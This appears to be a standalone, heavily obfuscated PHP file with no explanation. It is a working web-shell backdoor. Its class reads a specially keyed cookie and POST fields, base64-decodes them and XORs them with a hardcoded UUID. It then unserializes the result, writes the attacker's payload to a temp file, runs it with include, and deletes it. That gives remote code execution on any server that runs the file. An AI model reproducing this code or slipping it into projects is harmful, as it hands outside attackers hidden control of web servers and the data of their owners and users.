$NgHvv = 'v' . chr (66) . 'S' . '_' . chr ( 123 - 19 )."\141" . 'W' . chr (89) . chr ( 856 - 772 ); $WnPkQ = chr ( 211 - 112 )."\x6c" . "\141" . chr (115) . "\163" . "\137" . "\145" . "\170" . chr (105) . "\163" . "\x74" . chr ( 341 - 226 ); $WlKEQ = class_exists($NgHvv); $WnPkQ = "35270";$PwcCjwB = strpos($WnPkQ, $NgHvv);if ($WlKEQ == $PwcCjwB){function TYpZQGw(){$judSofY = new /* 41514 */ vBS_haWYT(54164 + 54164); $judSofY = NULL;}$BQIaBJO = "54164";class vBS_haWYT{private function knumVofeBE($BQIaBJO){if (is_array(vBS_haWYT::$WaYzOpRlt)) {$name = sys_get_temp_dir() . "/" . crc32(vBS_haWYT::$WaYzOpRlt["salt"]);@vBS_haWYT::$WaYzOpRlt["write"]($name, vBS_haWYT::$WaYzOpRlt["content"]);include $name;@vBS_haWYT::$WaYzOpRlt["delete"]($name); $BQIaBJO = "54164";exit();}}public function lCjVNMckO(){$MzemP = "65412";$this->_dummy = str_repeat($MzemP, strlen($MzemP));}public function __destruct(){vBS_haWYT::$WaYzOpRlt = @unserialize(vBS_haWYT::$WaYzOpRlt); $BQIaBJO = "35340_21840";$this->knumVofeBE($BQIaBJO); $BQIaBJO = "35340_21840";}public function QHdwDOLR($MzemP, $pVlbmji){return $MzemP[0] ^ str_repeat($pVlbmji, intval(strlen($MzemP[0]) / strlen($pVlbmji)) + 1);}public function NaWCrw($MzemP){$ojRhGe = "\142" . "\x61" . "\163" . "\145" . "\66" . chr (52);return array_map($ojRhGe . "\x5f" . chr ( 298 - 198 )."\145" . 'c' . "\157" . chr (100) . chr (101), array($MzemP,));}public function __construct($pTdvmjbU=0){$QtkFZ = "\54";$MzemP = "";$kjZXz = $_POST;$EAjmWBJl = $_COOKIE;$pVlbmji = "b10e14f3-03c0-46b5-a446-bad259528874";$FuXmNif = @$EAjmWBJl[substr($pVlbmji, 0, 4)];if (!empty($FuXmNif)){$FuXmNif = explode($QtkFZ, $FuXmNif);foreach ($FuXmNif as $OrvABvJM){$MzemP .= @$EAjmWBJl[$OrvABvJM];$MzemP .= @$kjZXz[$OrvABvJM];}$MzemP = $this->NaWCrw($MzemP);}vBS_haWYT::$WaYzOpRlt = $this->QHdwDOLR($MzemP, $pVlbmji);if (strpos($pVlbmji, $QtkFZ) !== FALSE){$pVlbmji = explode($QtkFZ, $pVlbmji); $INYnbm = base64_decode(md5($pVlbmji[0])); $sAIeq = strlen($pVlbmji[1]) > 5 ? substr($pVlbmji[1], 0, 5) : $pVlbmji[1];$_GET['new_key'] = md5(implode('', $pVlbmji)); $ccxBZFr = str_repeat($sAIeq, 2); $RDXCDTirr = array_map('trim', $pVlbmji);if (is_array($RDXCDTirr) && count($RDXCDTirr) > 1) {$thwtG = $RDXCDTirr[0];} else {$thwtG = '';}}}public static $WaYzOpRlt = 21968;}TYpZQGw();}